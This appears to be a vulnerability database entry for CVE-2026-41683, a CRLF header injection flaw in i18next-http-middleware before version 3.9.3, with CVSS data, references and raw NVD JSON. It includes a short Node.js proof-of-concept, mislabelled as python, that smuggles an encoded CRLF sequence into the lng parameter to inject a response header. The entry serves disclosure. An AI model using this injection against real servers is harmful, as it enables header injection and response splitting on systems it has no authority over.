CVE-2026-41683

Description

i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Prior to version 3.9.3, i18next-http-middleware wrote user-controlled language values into the Content-Language response header after passing them through utils.escape(), which is an HTML-entity encoder that does not strip carriage return, line feed, or other control characters. When the application used an older i18next (< 19.5.0) that still exercised the backward-compatibility fallback at LanguageDetector.js:100 or otherwise produced a raw detected value, CRLF sequences in the attacker-controlled lng parameter reached res.setHeader('Content-Language', ...) verbatim. This issue has been patched in version 3.9.3.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

No configuration data available.

i18next-http-middleware < 3.9.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC Concept: Sending a request with CRLF in the lng parameter
// Target: Vulnerable i18next-http-middleware instance

const http = require('http');

const options = {
  hostname: 'localhost',
  port: 3000,
  path: '/?lng=en%0D%0AX-Injected-Header: true', // Inject CRLF sequence
  method: 'GET'
};

const req = http.request(options, (res) => {
  console.log(`Status: ${res.statusCode}`);
  console.log(`Headers: ${JSON.stringify(res.headers)}`);
  // Observe that 'X-Injected-Header' appears in the response headers
});

req.on('error', (e) => {
  console.error(`Problem with request: ${e.message}`);
});

req.end();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41683
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41683
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41683/
[4] VulDB https://vuldb.com/cve/CVE-2026-41683
[5] https://github.com/i18next/i18next-http-middleware/security/advisories/GHSA-c3h8-g69v-pjrg

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41683", "sourceIdentifier": "[email protected]", "published": "2026-05-08T16:16:11.320", "lastModified": "2026-05-08T16:16:11.320", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "i18next-http-middleware is a middleware to be used with Node.js web frameworks like express or Fastify and also for Deno. Prior to version 3.9.3, i18next-http-middleware wrote user-controlled language values into the Content-Language response header after passing them through utils.escape(), which is an HTML-entity encoder that does not strip carriage return, line feed, or other control characters. When the application used an older i18next (< 19.5.0) that still exercised the backward-compatibility fallback at LanguageDetector.js:100 or otherwise produced a raw detected value, CRLF sequences in the attacker-controlled lng parameter reached res.setHeader('Content-Language', ...) verbatim. This issue has been patched in version 3.9.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-113"}]}], "references": [{"url": "https://github.com/i18next/i18next-http-middleware/security/advisories/GHSA-c3h8-g69v-pjrg", "source": "[email protected]"}]}}